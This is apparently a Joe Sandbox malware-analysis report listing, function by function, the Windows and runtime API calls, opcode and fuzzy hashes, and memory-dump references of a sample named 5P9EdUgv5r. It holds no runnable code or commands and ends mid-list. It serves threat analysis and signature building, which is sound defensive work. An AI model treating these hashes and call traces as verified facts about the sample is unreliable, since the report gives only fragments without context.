Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: e24d80be71718ba909983bff11aa1db101ae5cc5a1d473eb3e037ee7b4b3293e
Instruction ID: 93df9ef9859eb180947479eaa9d62d7768974ca1359edae9341dde9e4f003674
Opcode Fuzzy Hash: e24d80be71718ba909983bff11aa1db101ae5cc5a1d473eb3e037ee7b4b3293e
Instruction Fuzzy Hash: CE5136B09002059EEB24EF79C8826BABBE5EF45328F1C846FD0968B253D735D545CBB1

Function 00D61385 Relevance: 3.1, APIs: 2, Instructions: 97COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D61385

Part of subcall function 00D66057: __EH_prolog.LIBCMT ref: 00D6605C

Part of subcall function 00D6C827: __EH_prolog.LIBCMT ref: 00D6C82C
Part of subcall function 00D6C827: new.LIBCMT ref: 00D6C86F
Part of subcall function 00D6C827: new.LIBCMT ref: 00D6C893

new.LIBCMT ref: 00D613FE

Part of subcall function 00D6B07D: __EH_prolog.LIBCMT ref: 00D6B082

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 0938c942e6ae1e8669b2f1a5741e59e5a188c3202f29247648b702e9c226c32a
Instruction ID: c1342899961c7bd4e09fab39fc49d5f2f82406f3728b05d696ae779e5fd3b030
Opcode Fuzzy Hash: 0938c942e6ae1e8669b2f1a5741e59e5a188c3202f29247648b702e9c226c32a
Instruction Fuzzy Hash: D84134B0805B409EE724DF7984869E7FBE5FF18300F444A2ED2EE83282DB326554CB21

Function 00D61380 Relevance: 3.1, APIs: 2, Instructions: 95COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D61385

Part of subcall function 00D66057: __EH_prolog.LIBCMT ref: 00D6605C

Part of subcall function 00D6C827: __EH_prolog.LIBCMT ref: 00D6C82C
Part of subcall function 00D6C827: new.LIBCMT ref: 00D6C86F
Part of subcall function 00D6C827: new.LIBCMT ref: 00D6C893

new.LIBCMT ref: 00D613FE

Part of subcall function 00D6B07D: __EH_prolog.LIBCMT ref: 00D6B082

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 1dce9ed280fb9474d371e2895a5337f61da178d14b4856dbbbaac61f3ce02f56
Instruction ID: 75f108c865cd7f4d94f761f4a1c1ce60d352bbe0988bc7326e6b218776dc0a91
Opcode Fuzzy Hash: 1dce9ed280fb9474d371e2895a5337f61da178d14b4856dbbbaac61f3ce02f56
Instruction Fuzzy Hash: 8E4134B0805B409EE724DF798486AE7FBE5FF19300F544A6ED1EE83282DB326554CB25

Function 00D8B188 Relevance: 3.1, APIs: 2, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 00D88FA5: GetLastError.KERNEL32(?,00DA0EE8,00D83E14,00DA0EE8,?,?,00D83713,00000050,?,00DA0EE8,00000200), ref: 00D88FA9
Part of subcall function 00D88FA5: _free.LIBCMT ref: 00D88FDC
Part of subcall function 00D88FA5: SetLastError.KERNEL32(00000000,?,00DA0EE8,00000200), ref: 00D8901D
Part of subcall function 00D88FA5: _abort.LIBCMT ref: 00D89023

Part of subcall function 00D8B2AE: _abort.LIBCMT ref: 00D8B2E0
Part of subcall function 00D8B2AE: _free.LIBCMT ref: 00D8B314

Part of subcall function 00D8AF1B: GetOEMCP.KERNEL32(00000000,?,?,00D8B1A5,?), ref: 00D8AF46

_free.LIBCMT ref: 00D8B200
_free.LIBCMT ref: 00D8B236

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: _free$ErrorLast_abort
String ID:
API String ID: 2991157371-0
Opcode ID: 022ac33a66b9eb1769645e6971a236e9ca499c9ece440db77fc1902c55a83cee
Instruction ID: eb8274baf031fef27c6ea218b843fee55ba156b157420d33ab2c11a805517829
Opcode Fuzzy Hash: 022ac33a66b9eb1769645e6971a236e9ca499c9ece440db77fc1902c55a83cee
Instruction Fuzzy Hash: CD31C231904208AFDB10FFA9D845BADBBE5EF45330F29409AE4149B3A1EB719D41DB70

Function 00D6971E Relevance: 3.1, APIs: 2, Instructions: 86fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,00000000,00000001,00000000,00000002,00000000,00000000,?,00000000,?,?,?,00D69EDC,?,?,00D67867), ref: 00D697A6
CreateFileW.KERNEL32(?,00000000,00000001,00000000,00000002,00000000,00000000,?,?,00000800,?,?,00D69EDC,?,?,00D67867), ref: 00D697DB

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 15505968fc2ac70250500fb92a0a9845dae0502077b372f1761a2f4ee78234bf
Instruction ID: c270149ab848a54d8d635c528b46efbaf9091fcb1645db139741c83847fa418b
Opcode Fuzzy Hash: 15505968fc2ac70250500fb92a0a9845dae0502077b372f1761a2f4ee78234bf
Instruction Fuzzy Hash: EE21F3B1110748AFE7308F64C885BA7B7ECEB49764F04492EF5E582192C375AC899B71

Function 00D69D62 Relevance: 3.1, APIs: 2, Instructions: 82timeCOMMON

Download Yara Rule

APIs

FlushFileBuffers.KERNEL32(?,?,?,?,?,?,00D67547,?,?,?,?), ref: 00D69D7C
SetFileTime.KERNELBASE(?,?,?,?), ref: 00D69E2C

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: File$BuffersFlushTime
String ID:
API String ID: 1392018926-0
Opcode ID: e161e35e8d2bf6d93b91ced8f97489188667b1ad4a9cfb58d9fffb234068e9c0
Instruction ID: 3bb9e2e7ade0f14867d27571be5b7673ffc563d9aa0a7102dfc483fefd7b65d9
Opcode Fuzzy Hash: e161e35e8d2bf6d93b91ced8f97489188667b1ad4a9cfb58d9fffb234068e9c0
Instruction Fuzzy Hash: EE21D671148246ABC714DE24C461AABFBE8AF55708F08482DB4C5C7181D339DA0DDFB1

Function 00D8A458 Relevance: 3.1, APIs: 2, Instructions: 65libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,?), ref: 00D8A4B8
__crt_fast_encode_pointer.LIBVCRUNTIME ref: 00D8A4C5

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AddressProc__crt_fast_encode_pointer
String ID:
API String ID: 2279764990-0
Opcode ID: d3ca4ccd3c34b08c7941666e76328eadc20001e774d2f902b1489746b10ab565
Instruction ID: cb861ded359b7653f6b03ce41c908e46e18cae87c30c237ac8b20b37d0e41faa
Opcode Fuzzy Hash: d3ca4ccd3c34b08c7941666e76328eadc20001e774d2f902b1489746b10ab565
Instruction Fuzzy Hash: 16110633A112219BBF22EE2CEC4486A7395DB8472471A4622FD1DEB354EA70DC41C7F2

Function 00D69B59 Relevance: 3.1, APIs: 2, Instructions: 57COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,?,?,-00001964,?,00000800,-00001964,00D69B35,?,?,00000000,?,?,00D68D9C,?), ref: 00D69BC0
GetLastError.KERNEL32 ref: 00D69BCD

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 9f1153c40e844e64aaeae1bdeaf305c18b03ec3f3231efa12ae5d442fe0dd33b
Instruction ID: b2eff64be839b60c3f0f038caaaa75d8d875fe00dc3dd744862a468299e6c4ac
Opcode Fuzzy Hash: 9f1153c40e844e64aaeae1bdeaf305c18b03ec3f3231efa12ae5d442fe0dd33b
Instruction Fuzzy Hash: AF01A1312043159B8B08CE6DBCE496AF39DEFC5721B18452EF956C7290CA31D8099A31

Function 00D69E40 Relevance: 3.1, APIs: 2, Instructions: 54COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,00000000,00000000,00000001), ref: 00D69E76
GetLastError.KERNEL32 ref: 00D69E82

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 8794214d0844c5aa383f157b3123ddbbb31f6130425678646ff194985d320dd3
Instruction ID: 2f8d867131816f4b4d745745d29f0885b47e2fb23e874891f98336ee128f46ab
Opcode Fuzzy Hash: 8794214d0844c5aa383f157b3123ddbbb31f6130425678646ff194985d320dd3
Instruction Fuzzy Hash: 7B019EB53063005BEB34DE29DC54B6BF6DD9B88314F18493EB146C3681DA32EC488630

Function 00D88606 Relevance: 3.0, APIs: 2, Instructions: 44memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00D88627

Part of subcall function 00D88518: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00D8C13D,00000000,?,00D867E2,?,00000008,?,00D889AD,?,?,?), ref: 00D8854A

HeapReAlloc.KERNEL32(00000000,?,?,?,?,00DA0F50,00D6CE57,?,?,?,?,?,?), ref: 00D88663

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: Heap$AllocAllocate_free
String ID:
API String ID: 2447670028-0
Opcode ID: 44a7e6f3ba338569d883e73218a1fb93940251e04e99126e842eb56389e649ae
Instruction ID: a436cb418d46f05ecc8aa74eeff30a2961660f4dabece6684e5a46ac9a5a49e1
Opcode Fuzzy Hash: 44a7e6f3ba338569d883e73218a1fb93940251e04e99126e842eb56389e649ae
Instruction Fuzzy Hash: E6F0CD32241216AACB213A25AC02F6F6768DF92BB0FA84116F85496191FF20CC00B7B4

Function 00D70908 Relevance: 3.0, APIs: 2, Instructions: 33COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?), ref: 00D70915
GetProcessAffinityMask.KERNEL32(00000000), ref: 00D7091C

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: 64fee3f3cd886bddb936187a83ed9189cce87e5aeab8261afbb1ae1deb8ccb09
Instruction ID: 04229e7b5a45befb91ebb03e1995bb101e82ff558d12347eb181dc7698499d77
Opcode Fuzzy Hash: 64fee3f3cd886bddb936187a83ed9189cce87e5aeab8261afbb1ae1deb8ccb09
Instruction Fuzzy Hash: ECE09B36A10105EB6F05CAA49C044BB7B9DDB0421071C817ABA0ED3241F770DD018E70

Function 00D6A444 Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,00D6A27A,?,?,?,00D6A113,?,00000001,00000000,?,?), ref: 00D6A458
SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00D6A27A,?,?,?,00D6A113,?,00000001,00000000,?,?), ref: 00D6A489

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 821d3f81cac55657c2cee26158d135caa0f3f73f3972ace0cb4929145ca368b0
Instruction ID: 247ea3949b77df5b370d6aa09adceb134a1299b54f591ef051532c0f9b4a1946
Opcode Fuzzy Hash: 821d3f81cac55657c2cee26158d135caa0f3f73f3972ace0cb4929145ca368b0
Instruction Fuzzy Hash: DEF01C312402097BDF115EA5DC45BD9776CAB04385F488052BC8CD6261DB769EA8AA71

Function 00D7D573 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00D7D5A1
SetDlgItemTextW.USER32(00000065,?), ref: 00D7D5B8

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: ItemText_swprintf
String ID:
API String ID: 3011073432-0
Opcode ID: 0cad09f5fcbd4fcfcdbf8c024e3cfe8ce461d8c516383b7080408f6ca923cba5
Instruction ID: e4883802f8a9a213ce3f1ebe408be7d723302a6458b0106332828f6b917e5ec8
Opcode Fuzzy Hash: 0cad09f5fcbd4fcfcdbf8c024e3cfe8ce461d8c516383b7080408f6ca923cba5
Instruction Fuzzy Hash: 61F05C319003483BDB11AB709C02FAD371EDB09745F040581B604971A1E9716E204771

Function 00D6A12D Relevance: 3.0, APIs: 2, Instructions: 28fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(?,?,?,00D6984C,?,?,00D69688,?,?,?,?,00D91FA1,000000FF), ref: 00D6A13E
DeleteFileW.KERNEL32(?,?,?,00000800,?,?,00D6984C,?,?,00D69688,?,?,?,?,00D91FA1,000000FF), ref: 00D6A16C

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 3e96efc4dc68cd4cc4006f6db166f917619be78babac38f23887257ac2b0af2e
Instruction ID: f1b38bbb08a1dd635c15eb40c3dcbe62767ca091cd713b6d38a0bf08bc82b3b4
Opcode Fuzzy Hash: 3e96efc4dc68cd4cc4006f6db166f917619be78babac38f23887257ac2b0af2e
Instruction Fuzzy Hash: 8DE092356803086BDB119F64DC42FE9775CEB09382F484066B888D7160EB61DDD4AEB1

Function 00D7A39D Relevance: 3.0, APIs: 2, Instructions: 27comCOMMON

Download Yara Rule

APIs

GdiplusShutdown.GDIPLUS(?,?,?,?,00D91FA1,000000FF), ref: 00D7A3D1
OleUninitialize.OLE32(?,?,?,?,00D91FA1,000000FF), ref: 00D7A3D6

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: GdiplusShutdownUninitialize
String ID:
API String ID: 3856339756-0
Opcode ID: 76904860264f2cef3b4dcb69ff46c0bf72b7e39619751e404ac8bcd7c129ee7a
Instruction ID: 6399e01a51c9b98dd648859fef60a28210f072a25afb60a639a6ccd5b2b8ce13
Opcode Fuzzy Hash: 76904860264f2cef3b4dcb69ff46c0bf72b7e39619751e404ac8bcd7c129ee7a
Instruction Fuzzy Hash: FFF03932A18759EFC7109B4CDC05B19FBA9FB8AB20F04436AF419C3760CB786810CAA5

Function 00D6A194 Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,?,00D6A189,?,00D676B2,?,?,?,?), ref: 00D6A1A5
GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,00D6A189,?,00D676B2,?,?,?,?), ref: 00D6A1D1

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: b26bfc791873c0b8fc4051f5869deabefd6965765295988d0b8d3e3012835975
Instruction ID: 4dfe254c48d2ba3aa2f13c2787643a26b6189cbba796470381bad6e3828b4603
Opcode Fuzzy Hash: b26bfc791873c0b8fc4051f5869deabefd6965765295988d0b8d3e3012835975
Instruction Fuzzy Hash: 97E09B359002185BCB10ABA8DC05BD5775CEB093E1F0441A2FD49E7290D7709D449AF1

Function 00D70085 Relevance: 3.0, APIs: 2, Instructions: 25libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00D700A0
LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00D6EB86,Crypt32.dll,00000000,00D6EC0A,?,?,00D6EBEC,?,?,?), ref: 00D700C2

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: DirectoryLibraryLoadSystem
String ID:
API String ID: 1175261203-0
Opcode ID: f0ad97b6a9fbdd2cb3afb8be669c191c7d7653690db1f5e15259db8270982436
Instruction ID: 1b0c1185b7d5af296f382d2ba750f28481705fcbcd572c695e4ab776a78b4d4a
Opcode Fuzzy Hash: f0ad97b6a9fbdd2cb3afb8be669c191c7d7653690db1f5e15259db8270982436
Instruction Fuzzy Hash: DCE0127690125C6BDB219AA49C09FD7776CEF0D392F0440A7BA4CD3144EA749A948BB0

Function 00D79B0F Relevance: 3.0, APIs: 2, Instructions: 24windowCOMMON

Download Yara Rule

APIs

GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 00D79B30
GdipCreateBitmapFromStream.GDIPLUS(?,?), ref: 00D79B37

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
